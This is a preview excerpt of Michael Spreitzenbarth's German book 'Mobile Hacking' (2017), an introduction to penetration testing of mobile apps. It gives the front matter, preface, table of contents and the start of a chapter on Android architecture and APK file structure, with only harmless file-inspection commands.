Mobile Hacking
- Seite 2 und 3: Dr.-Ing. Michael Spreitzenbarth stu
- Seite 4 und 5: Michael Spreitzenbarth Lektorat: Re
- Seite 6 und 7: vi Vorwort triebssystemen oder dem
- Seite 9 und 10: ix Inhaltsverzeichnis 1 Einführung
- Seite 11: Inhaltsverzeichnis xi Literaturverz
- Seite 14 und 15: 2 1 Einführung in mobile Betriebss
- Seite 16 und 17: 4 1 Einführung in mobile Betriebss
- Seite 18 und 19: 6 1 Einführung in mobile Betriebss
- Seite 20 und 21: 8 1 Einführung in mobile Betriebss
- Seite 22 und 23: 10 1 Einführung in mobile Betriebs
- Seite 24 und 25: 12 1 Einführung in mobile Betriebs
- Seite 26 und 27: 14 1 Einführung in mobile Betriebs
- Seite 28 und 29: 16 1 Einführung in mobile Betriebs
- Seite 30 und 31: 18 1 Einführung in mobile Betriebs
- Seite 32 und 33: 20 1 Einführung in mobile Betriebs
- Seite 34 und 35: 22 1 Einführung in mobile Betriebs
- Seite 36 und 37: 24 1 Einführung in mobile Betriebs
- Seite 38 und 39: 26 1 Einführung in mobile Betriebs
- Seite 40 und 41: 28 1 Einführung in mobile Betriebs
- Seite 42 und 43: 30 1 Einführung in mobile Betriebs
- Seite 44 und 45: 32 1 Einführung in mobile Betriebs
- Seite 46 und 47: 34 1 Einführung in mobile Betriebs
- Seite 48 und 49: 36 1 Einführung in mobile Betriebs
- Seite 51 und 52: 39 2 Chancen und Risiken des Revers
Dr.-Ing. Michael Spreitzenbarth studierte Wirtschaftsinformatik<br />
an der Universität Mannheim mit Schwerpunkt in<br />
den Bereichen IT-Security und Digitale Forensik. Zwischen<br />
2010 und 2013 arbeitete er als Doktorand an der Universität<br />
Erlangen-Nürnberg. Seine Forschungsthemen lagen in<br />
den Bereichen der forensischen Analyse von Smartphones<br />
(speziell im Bereich Android) sowie im Bereich der Detektion<br />
und automatisierten Analyse von mobilem Schadcode<br />
(Malware). Seit April 2013 arbeitet er in einem weltweit operierenden<br />
CERT, wo sein Fokus auf der Absicherung mobiler<br />
Endgeräte, Incident Handling und der Analyse verdächtiger<br />
mobiler Applikationen liegt. In seiner Freizeit arbeitet Michael<br />
Spreitzenbarth immer noch im Bereich der Forschung<br />
und Entwicklung von Malware-Analyse- und Detektionstechniken<br />
sowie digitaler Forensik. Zusätzlich hält er regelmäßig<br />
Vorträge und Schulungen zu diesen Themen in der<br />
freien Wirtschaft sowie für öffentliche Auftraggeber.
Michael Spreitzenbarth<br />
<strong>Mobile</strong> <strong>Hacking</strong><br />
Ein kompakter Einstieg ins<br />
Penetration Testing mobiler Applikationen –<br />
iOS, Android und Windows <strong>Mobile</strong>
Michael Spreitzenbarth<br />
Lektorat: René Schönfeldt<br />
Lektoratsassistenz: Stefanie Weidner<br />
Projektkoordination: Miriam Metsch<br />
Copy-Editing: Ursula Zimpfer<br />
Satz: Da-TeX, www.da-tex.com<br />
Herstellung: Susanne Bröckelmann<br />
Umschlaggestaltung: Helmut Kraus, www.exclam.de<br />
Druck und Bindung: M.P. Media-Print Informationstechnologie GmbH, 33100 Paderborn<br />
Bibliografische Information der Deutschen Nationalbibliothek<br />
Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie;<br />
detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar.<br />
ISBN:<br />
Print 978-3-86490-348-9<br />
PDF 978-3-96088-124-7<br />
ePub 978-3-96088-125-4<br />
mobi 978-3-96088-126-1<br />
1. Auflage 2017<br />
Copyright © 2017 dpunkt.verlag GmbH<br />
Wieblinger Weg 17<br />
69123 Heidelberg<br />
Die vorliegende Publikation ist urheberrechtlich geschützt. Alle Rechte vorbehalten. Die Verwendung<br />
der Texte und Abbildungen, auch auszugsweise, ist ohne die schriftliche Zustimmung des Verlags<br />
urheberrechtswidrig und daher strafbar. Dies gilt insbesondere für die Vervielfältigung, Übersetzung<br />
oder die Verwendung in elektronischen Systemen.<br />
Es wird darauf hingewiesen, dass die im Buch verwendeten Soft- und Hardware-Bezeichnungen sowie<br />
Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen-,<br />
marken- oder patentrechtlichem Schutz unterliegen.<br />
Alle Angaben und Programme in diesem Buch wurden mit größter Sorgfalt kontrolliert. Weder Autor<br />
noch -Verlag können jedoch für Schäden haftbar gemacht werden, die in Zusammenhang mit der<br />
Verwendung dieses Buches stehen.<br />
5 4 3 2 1 0
v<br />
Vorwort<br />
Der Marktanteil von Smartphones und Tablets wächst signifikant im Gegensatz<br />
zu herkömmlichen PCs und hält auch in immer mehr Unternehmen Einzug. Diese<br />
Geräte haben einen enormen Funktionsumfang und werden schon lange nicht<br />
mehr nur zum Telefonieren verwendet. Dies bietet jedoch nicht nur neue Möglichkeiten<br />
für den Einzelnen sowie viele Firmen, sondern birgt auch ein hohes<br />
Maß an Gefahren und Risiken in sich.<br />
Wenn Sie sich schon immer gefragt haben, was die Applikationen auf Ihrem<br />
Smartphone so alles im Hintergrund machen und ob die verarbeiteten Daten auch<br />
wirklich sicher abgelegt und übertragen werden, dann ist dieses Buch genau das<br />
Richtige für Sie!<br />
Im Rahmen des Buches wird Ihnen anhand von ausführlichen Beispielen gezeigt,<br />
warum es sinnvoll für Unternehmen – aber auch für Privatpersonen mit<br />
einem Bewusstsein für das Schützenswerte – ist, nicht auf die Versprechen der<br />
Hersteller mobiler Apps zu hören, sondern selbst zu prüfen, ob Applikationen<br />
den eigenen Ansprüchen und Vorgaben entsprechen. Sie erfahren, welche Open-<br />
Source-Tools es auf dem Markt gibt und wofür man sie einsetzen kann. Dabei<br />
ist immer zu bedenken, dass dies nur eine Auswahl an Tools ist und keinesfalls<br />
den Anspruch auf Vollständigkeit erheben soll. Nach der Analyse einiger Apps<br />
hat jeder Analyst seine eigene Sammlung an Werkzeugen und Vorgehensweisen,<br />
auf die er bei der täglichen Arbeit zurückgreift.<br />
Dabei stehen unter anderem folgende Fragestellungen im Vordergrund:<br />
■<br />
■<br />
■<br />
■<br />
Was sind die wichtigsten Komponenten der einzelnen mobilen Betriebssysteme?<br />
Wie können Sie prüfen, ob Daten einer App auch bei Verlust bzw. Diebstahl<br />
eines mobilen Endgerätes weiterhin geschützt sind?<br />
Wie können Sie feststellen, ob Daten bei der Übertragung ausreichend geschützt<br />
sind?<br />
Welche Schwachstellen sind für Angreifer besonders interessant?<br />
Dieses Buch kann man als Leser auf verschiedene Weisen angehen, die in Abbildung<br />
1 aufgezeigt sind. Hierbei werden in den ersten beiden Kapiteln die Grundlagen<br />
geschaffen, um einem Leser, der bisher keine Erfahrungen mit mobilen Be-
vi<br />
Vorwort<br />
triebssystemen oder dem Reversing gesammelt hat, den Einstieg zu ermöglichen.<br />
Danach gibt es immer einen »Doppelpack« an Kapiteln, der sich mit der statischen<br />
Analyse von Apps einer bestimmten Plattform befasst und sich der anschließenden<br />
Suche nach Sicherheitsproblemen widmet. Dies alles wird wieder in<br />
Kapitel 9 zusammengeführt, das die Analyse der Datenübertragung als Schwerpunkt<br />
hat, die auf allen Systemen nahezu identisch abläuft und deshalb an dieser<br />
Stelle auch übergreifend zusammengefasst ist. Den Schluss des Buches bildet ein<br />
kurzes Kapitel, das dem Leser Hinweise zu Übungen gibt, die er nun selbst in Angriff<br />
nehmen kann, und weitere Werkzeuge und vertiefenden Lesestoff vorschlägt.<br />
Dr. Michael Spreitzenbarth<br />
Android<br />
Reversing<br />
Android<br />
App-Sicherheit<br />
Einführung<br />
Chancen und<br />
Risiken des<br />
Reversings<br />
iOS<br />
Reversing<br />
iOS<br />
App-Sicherheit<br />
Angriffe auf die<br />
Datenübertragung<br />
Wie geht die<br />
Reise weiter?<br />
Win10<strong>Mobile</strong><br />
Reversing<br />
Win10<strong>Mobile</strong><br />
App-Sicherheit<br />
Abb. 1: Mögliche Wege für den Leser durch dieses Buch
vii<br />
Danksagung<br />
Dieses Buchprojekt wäre ohne die Unterstützung anderer nur schwer umsetzbar<br />
gewesen. Aus diesem Grund möchte ich einigen dieser Personen auf diesem Wege<br />
meinen Dank aussprechen.<br />
Zuerst möchte ich Andreas Kurtz und Siegfried Rasthofer danken, die mir<br />
sehr guten Input für dieses Buch gegeben und auf einige hilfreiche Tools und<br />
Beispiele aufmerksam gemacht haben.<br />
Ebenso möchte ich aber auch den vielen Autoren und Entwicklern aus der<br />
Open-Source-Community danken, die zahllose Stunden in die Verbesserung und<br />
Entwicklung neuer Werkzeuge gesteckt haben. Ohne diese Arbeit wären wir heute<br />
nicht in der Lage, solche Assessments durchführen zu können.<br />
Mein Dank geht ebenso an den dpunkt.verlag und die anonymen Reviewer<br />
sowie an Marko Rogge, die mich gerade in der Schlussphase auf wichtige Verbesserungen<br />
am Buch aufmerksam gemacht haben.<br />
Besonderer Dank geht an meine Lebensgefährtin, die mich immer wieder<br />
motiviert und unterstützt hat, auch wenn es Zeiten gab, in denen durch dieses<br />
Buch und die tägliche Arbeit nahezu keine Freizeit mehr blieb.
ix<br />
Inhaltsverzeichnis<br />
1 Einführung in mobile Betriebssysteme und deren Applikationen . . . 1<br />
1.1 Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2<br />
1.2 Apple iOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8<br />
1.3 Windows 10 <strong>Mobile</strong> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18<br />
1.4 Chancen und Risiken von mobilen Applikationen . . . . . . . . . . . . . . . . . . . . . . 24<br />
1.5 OWASP <strong>Mobile</strong> Top 10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27<br />
1.6 Eine Laborumgebung erstellen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31<br />
1.7 Zusammenfassung und Ausblick . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37<br />
2 Chancen und Risiken des Reversings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39<br />
2.1 Statische Analyse (Reversing) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39<br />
2.2 Dynamische Analyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40<br />
2.3 Vergleich der beiden Techniken . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40<br />
2.4 Schlussfolgerung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41<br />
3 Reversing von Android-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . 43<br />
3.1 Vorgehensweisen beim Reversing von Android-Applikationen . . . . . . . . . 43<br />
3.2 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 44<br />
3.3 Analysieren des Android-Manifests und Entpacken der Applikation . . . . . 45<br />
3.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 47<br />
3.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64<br />
4 Sicherheitsprobleme bei Android-Applikationen . . . . . . . . . . . . . . . . . 67<br />
4.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67<br />
4.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 76<br />
4.3 Exportierte Activities erkennen und ausnutzen . . . . . . . . . . . . . . . . . . . . . . . . 83<br />
4.4 Exportierte Content Provider und SQL-Injections erkennen und ausnutzen 86<br />
4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen. . . . . . . 91<br />
4.6 Ungewollten Datenabfluss durch Verwendung der Backup-Funktion erkennen<br />
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94<br />
4.7 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95<br />
4.8 Android-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . 110<br />
4.9 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
x<br />
Inhaltsverzeichnis<br />
5 Reversing von iOS-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115<br />
5.1 Vorgehensweisen beim Reversing von iOS-Applikationen . . . . . . . . . . . . . . 115<br />
5.2 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115<br />
5.3 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 124<br />
5.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 127<br />
5.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135<br />
6 Sicherheitsprobleme bei iOS-Applikationen. . . . . . . . . . . . . . . . . . . . . . 137<br />
6.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137<br />
6.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 146<br />
6.3 iOS-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . . . . . . 149<br />
6.4 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159<br />
6.5 Fehlende systemeigene Sicherheitsfunktionen in iOS-Applikationen erkennen<br />
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171<br />
6.6 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178<br />
7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . . . . . . . . . . . 179<br />
7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . . . . . . . . . . . . . . . . . . 179<br />
7.2 Vorgehensweisen beim Reversing von Windows-10-<strong>Mobile</strong>-<br />
Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182<br />
7.3 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 183<br />
7.4 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186<br />
8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . 187<br />
8.1 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 187<br />
8.2 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189<br />
8.3 Fehlende Sicherheitsfunktionen in Windows-10-<strong>Mobile</strong>-Applikationen<br />
erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193<br />
8.4 Weitere Angriffsvektoren erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196<br />
8.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197<br />
9 Angriffe auf die Datenübertragung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199<br />
9.1 Schutz der übermittelten Daten auf dem Transportweg . . . . . . . . . . . . . . . . 199<br />
9.2 Man-in-the-Middle-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 200<br />
9.3 SSL-Strip-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209<br />
9.4 Anwendungsbeispiele und Auswertung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210<br />
9.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213<br />
10 Wie geht die Reise weiter? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215<br />
10.1 Weitere Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215<br />
10.2 Wo kann ich üben? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217<br />
10.3 Wo finde ich weiterführende Informationen? . . . . . . . . . . . . . . . . . . . . . . . . . . 218
Inhaltsverzeichnis<br />
xi<br />
Literaturverzeichnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219<br />
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221
1<br />
1 Einführung in mobile Betriebssysteme<br />
und deren Applikationen<br />
Smartphones und Tablet-PCs sind aus dem täglichen Leben von Privatpersonen<br />
ebenso wenig wegzudenken wie aus dem Alltag in Unternehmen. Diese Geräte<br />
dienen längst nicht mehr nur dem Zweck der Kommunikation, wie es mit dem<br />
Telefon vor einigen Jahren noch der Fall war. Sie werden inzwischen vielmehr<br />
dazu benutzt, Zugriff auf sensible Firmen- oder Privatnetze (z. B. per VPN) zu<br />
erhalten oder teilweise sehr sensible Daten (wie z. B. Bilder und Angebote) zu<br />
verarbeiten.<br />
Betrachtet man die Entwicklung der letzten Jahre, so sieht man, dass diese<br />
Geräte immer mehr Fähigkeiten erhalten und in immer mehr Szenarien eine Rolle<br />
spielen. Steuerung der kompletten Hauselektronik, Zugangskontrolle zu hochgesicherten<br />
Bereichen, Katastrophenfrühwarnung und der Ersatz des Notebooks in<br />
Unternehmen sind nur einige Beispiele, in denen diese Geräte und die darauf installierten<br />
Applikationen (oder kurz Apps) in Zukunft eine wichtige Rolle spielen<br />
werden.<br />
Will man für solch kritische Szenarien ein mobiles Endgerät einsetzen, so<br />
landet man nach der initialen Betrachtung der Hardware immer wieder an dem<br />
folgenden Punkt: Wie sicher ist eigentlich die Applikation selbst?<br />
Um diese Frage zu beantworten, gibt es eigentlich nur zwei mögliche Lösungsansätze:<br />
entweder Vertrauen in die Marketingfolien und -versprechen der<br />
Hersteller solcher Lösungen oder das Durchführen eigener Tests, um sicherzustellen,<br />
dass die ausgesuchte Lösung auch das leistet, was sie verspricht. Einen<br />
solchen Test nennt man Penetrationstest (oder kurz Pentest).<br />
Betrachtet man die Schlagzeilen einschlägiger Magazine oder Webseiten (und<br />
ebenfalls die Beispiele, die in diesem Buch erwähnt werden), so sieht man sehr<br />
schnell, dass die erste Option (blindes Vertrauen in die Marketingversprechen)<br />
oft der falsche Ansatz ist, wenn man erwägt, sensible Daten mit einer Applikation<br />
zu verwalten oder zu verarbeiten. Aus diesem Grund werden im Rahmen<br />
dieses Buches Wege gezeigt, wie man selbst Applikationen überprüfen und deren<br />
Schwächen ans Tageslicht bringen kann.<br />
Wir betrachten dazu ausführlich die Systeme Android und iOS, zeigen aber<br />
auch erste Einstiegspunkte in Windows Phone, da dieses System in vielen Einsatzszenarien<br />
eine immer wichtiger werdende Rolle spielt. Beginnen möchten wir
2 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
in diesem Kapitel mit der allgemeinen Einführung in die Systeme und den Aufbau<br />
ihrer Applikationen. Außerdem wird das Einrichten der Laborumgebung beschrieben,<br />
in der sich die später gezeigten Analysen durchführen lassen.<br />
1.1 Android<br />
Das Android OS, das ursprünglich für die Verwendung auf Smartphones und<br />
Tablet-PCs entwickelt wurde, findet in letzter Zeit auch immer mehr Verwendung<br />
auf Set-Top-Boxen, TVs oder als Car-Entertainment-System. Die Basis des<br />
Betriebssystems wird von der Open Handset Alliance unter der Führung von<br />
Google entwickelt und ist vollständig Open Source, lediglich die Anpassungen<br />
von Google (eigene Apps wie z. B. Google Maps und zugehörige Bibliotheken)<br />
sind nicht in ihrem Quellcode verfügbar. Die Komponenten, die das System ausmachen<br />
und auch im weiteren Verlauf des Buches von Interesse sind, werden in<br />
den folgenden Abschnitten genauer beleuchtet.<br />
1.1.1 Die Entwicklung der Android-Plattform<br />
Zu Beginn der Einführung in die Android-Plattform wird die bisherige Entwicklung<br />
der verschiedenen Android-Versionen aufgezeigt. Die gesamte zeitliche Entwicklung<br />
der Plattform, speziell deren Hauptversionen, ist in Tabelle 1–1 zusammen<br />
mit ihren Versionsnummern, Codenamen und Erscheinungsdaten dargestellt.<br />
Seit der Version 1.5 haben die Hauptversionen immer den Namen von<br />
populären US-Süßigkeiten. Dies hat sich erst durch die Kooperation mit Nestlé<br />
in Version 4.4 und dem Codenamen KitKat geändert, Google blieb zwar bei den<br />
Süßigkeiten, wechselte jedoch auf den europäischen Markt.<br />
1.1.2 Die Architektur des Betriebssystems<br />
Die Android-Architektur kann in vier verschiedene Schichten unterteilt werden:<br />
Basis der Architektur ist der Linux-Kernel, darüber liegt eine kombinierte Schicht<br />
aus Systembibliotheken und der eigentlichen Android-Laufzeitumgebung, dann<br />
folgt das Applikationsframework und als oberste Ebene die eigentlichen Applikationen<br />
(siehe Abbildung 1–1). Jede dieser vier Schichten stellt spezielle Interfaces<br />
und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine<br />
Interaktion zwischen den einzelnen Schichten ermöglicht wird.<br />
Der Linux-Kernel<br />
Wie auf der Abbildung 1–1 zu erkennen ist, bildet der Linux-Kernel in Version<br />
2.6.x die Basis des Android-Systems. Dieser wurde um spezielle Module erweitert,<br />
um die Hardware der Android-Geräte zu unterstützen. Zusätzlich dazu<br />
wird der Kernel für die Verwaltung der laufenden Prozesse sowie des Speichers
1.1 Android 3<br />
Version Codename API Veröffentlichung Verwendung<br />
1.0 Base 1 09/2008 s<br />
1.5 Cupcake 3 04/2009 s<br />
1.6 Donut 4 09/2009 s<br />
2.0 Eclair 5 & 6 10/2009 s<br />
2.1 Eclair 7 01/2010 s<br />
2.2 Froyo 8 05/2010 s<br />
2.3 Gingerbread 9 & 10 12/2010 s<br />
3.0 Honeycomb 11–13 02/2011 t<br />
4.0 Ice Cream Sandwich 14 & 15 10/2011 s,t<br />
4.1 Jelly Bean 16 06/2012 s,t<br />
4.2 Jelly Bean 17 11/2012 s,t<br />
4.3 Jelly Bean 18 07/2013 s,t<br />
4.4 KitKat 19 & 20 10/2013 s,t<br />
5.0 Lollipop 21 10/2014 s,t<br />
5.1 Lollipop 22 03/2015 s,t<br />
6.0 Marshmallow 23 10/2015 s,t<br />
Tab. 1–1: Liste der Android-OS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen<br />
Veröffentlichung in 2008 (s = Smartphone, t = Tablet-PC)<br />
verwendet und stellt einige der Sicherheitsmechanismen bereit, die in Android<br />
implementiert sind.<br />
Prozesse mit ihrem zugehörigen Identifier (PID) sind eines der wichtigsten<br />
Konzepte des Linux-Kernels. Neben dieser PID speichert der Kernel weitere wichtige<br />
Informationen über laufende Prozesse – wie z. B. den Prozessstatus, den<br />
Thread, in dem der Prozess läuft, und Angaben darüber, welche Dateien verwendet<br />
werden (eine vollständige Liste stellt der Linux-Quellcode [10] bereit). Diese<br />
Daten werden in einer gesonderten Struktur – task_struct – abgelegt. Die PID ist<br />
im weiteren Zusammenhang sehr wichtig, da mit ihrer Hilfe während der dynamischen<br />
Analyse die Operationen den entsprechenden Applikationen zugeordnet<br />
werden können (mehr dazu in Abschnitt 4.2.1).<br />
Systembibliotheken und Laufzeitumgebung<br />
In der darüberliegenden Schicht befinden sich sie Systembibliotheken und die eigentliche<br />
Android-Laufzeitumgebung. Diese Bibliotheken sind in C bzw. C++ geschrieben<br />
und werden sowohl vom System selbst als auch von allen installierten
4 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Google<br />
Apps<br />
Applications<br />
Third-Party<br />
Apps<br />
Package<br />
Manager<br />
Telephony<br />
Manager<br />
Manager<br />
Application Framework<br />
Content<br />
Providers<br />
Location<br />
Manager<br />
View<br />
System<br />
Webkit<br />
SSL<br />
Media<br />
Framework<br />
Core<br />
Libraries<br />
Libraries<br />
Android Runtime<br />
OpenGL<br />
libc<br />
SQLite<br />
DVM<br />
Drivers<br />
Linux Kernel<br />
Power<br />
Management<br />
Abb. 1–1: Übersicht über die Architektur des Android-Betriebssystems<br />
Apps verwendet. Die Android-Laufzeitumgebung enthält die Dalvik Virtual Machine<br />
(DVM) sowie die wichtigsten Java-Bibliotheken. Die DVM- und die Java-<br />
Bibliotheken wurden speziell an die Vorgaben eines mobilen Betriebssystems –<br />
geringer Stromverbrauch und geringe Rechenleistung – angepasst.<br />
Applikationsframework<br />
Die nächste Ebene ist das sogenannte Applikationsframework, das die Application<br />
Programming Interfaces (API) bereitstellt. Diese Ebene ist eine Art Übersetzungsschicht:<br />
Sie stellt eine hohe Anzahl an geräteabhängigen Schnittstellen zur<br />
Verfügung, die es einem Entwickler erlauben, auf alle Features des Endgerätes<br />
zuzugreifen, ohne dass er hierfür tiefere Kenntnisse der einzelnen Komponenten<br />
benötigt.<br />
Die Applikationen selbst<br />
Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten<br />
Applikationen ist zum großen Teil in Java geschrieben (mit optionalen eigenen Bibliotheken)<br />
und wird zur Laufzeit in einer eigenen DVM ausgeführt. Aktuell gibt<br />
es im offiziellen Google Play Store knapp über 1,6 Millionen dieser Applikationen<br />
(Apps) [16].
1.1 Android 5<br />
Android-Applikationen unterstützen auch die Verwendung von nativen Bibliotheken,<br />
die in C/C++ geschrieben sind. Sobald man jedoch die Applikation<br />
zur Verwendung auf einem Endgerät oder dem Emulator bauen lässt (z. B.<br />
durch Eclipse oder Android Studio), wird aus dem Java-Code ein in der DVM<br />
ausführbarer Bytecode, der in einer dex-Datei gespeichert wird. Dieser Bytecode<br />
unterscheidet sich an vielen Stellen von herkömmlichem Java-Bytecode, was<br />
sich dadurch auch auf die Analyse auswirkt. Zum Wichtigsten einer Android-<br />
Applikation gehört das Android-Manifest, das alle vom Nutzer abgefragten Berechtigungen<br />
sowie die zur Laufzeit nötigen Intents, Listener und Receiver enthält<br />
(mehr zu diesen Begriffen später in diesem Abschnitt). Das Android-Manifest<br />
wird zusammen mit dem DVM-Bytecode, den externen Bibliotheken und allen<br />
anderen Ressourcen, die für die Applikation benötigt werden, in eine Art ZIPbzw.<br />
JAR-Paket zusammengeschnürt. Dieses Paket hat die Dateiendung .apk und<br />
wird vom Play Store (oder jeder anderen Installationsquelle) auf das Endgerät<br />
kopiert und dort installiert.<br />
Im Allgemeinen besteht eine so paketierte Android-Applikation aus den folgenden<br />
Dateien und Verzeichnissen:<br />
■<br />
■<br />
■<br />
■<br />
■<br />
■<br />
META-INF: Verzeichnis mit folgenden Dateien:<br />
■<br />
■<br />
■<br />
MANIFEST.MF: das Manifest in kompilierter Form<br />
CERT.RSA: das Zertifikat, mit dem die Applikation signiert wurde<br />
CERT.SF: eine Liste aller Ressourcen und das SHA-1-Digest<br />
lib: Verzeichnis mit speziell für einen bestimmten Prozessor kompiliertem<br />
Code<br />
■<br />
■<br />
■<br />
■<br />
armeabi: kompilierter ARM-Code<br />
armeabi-v7a: kompilierter ARMv7-Code<br />
x86: kompilierter x86-Code<br />
mips: kompilierter MIPS-Code<br />
resources.arsc: eine Datei mit vorkompilierten Bibliotheken<br />
res: Verzeichnis mit Bibliotheken, die nicht in resources.arsc kompiliert wurden<br />
AndroidManifest.xml: ein weiteres Manifest mit wichtigen Metainformationen<br />
für die Applikation in codierter Form<br />
classes.dex: der kompilierte Java-Code der Applikation<br />
Nachfolgend ein Beispiel einer realen Applikation, wie sie aus dem Play Store<br />
geladen wurde:
6 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
$: file DEMO.apk<br />
DEMO.apk: Java Jar file data (zip)<br />
Codebeispiel 1–1: Ausgabe des file-Befehls auf eine Android-Applikation zum Bestimmen<br />
des Dateityps<br />
// die ersten 4 Byte sind bei jeder Android-Applikation 50 4b 03 04<br />
$: hexdump -C -n 64 DEMO.apk<br />
00000000 504b03040a000008 000039584f410000 |PK........9XOA..|<br />
00000010 0000000000000000 0000250005006173 |..........%...as|<br />
00000020 736574732f436f6e 6669677572617469 |sets/Configurati|<br />
00000030 6f6e732f66646173 666a6b616c616664 |ons/fdasfjkalafd|<br />
Codebeispiel 1–2: Anzeige der ersten 64 Byte einer Android-Applikation in Hex<br />
$: unzip -l DEMO . apk<br />
Archive : DEMO . apk<br />
Length Date Time Name<br />
-- -- -- -- - -- - -- -<br />
2632 05 -31 -14 11:54 res/layout / activity_line . xml<br />
1820 05 -31 -14 11:54 res/layout / activity_main . xml<br />
392 05 -31 -14 11:54 res / xml / device_admin_sample . xml<br />
5068 05 -31 -14 11:54 AndroidManifest . xml<br />
2760 05 -31 -14 11:54 resources . arsc<br />
11566 05 -31 -14 11:47 res / drawable - hdpi / lineinfo_update . png<br />
14068 05 -24 -14 19:21 res / drawable - hdpi / ic_launcher . png<br />
718628 05 -31 -14 11:50 classes .dex<br />
687 05 -31 -14 11:54 META -INF / MANIFEST .MF<br />
740 05 -31 -14 11:54 META -INF / CERT .SF<br />
1203 05 -31 -14 11:54 META - INF/CERT . RSA<br />
-- -- -- -- -- -<br />
759564 11 files<br />
Codebeispiel 1–3: Auflistung der Inhalte einer Android-Applikation<br />
Bestandteile einer Android-Applikation<br />
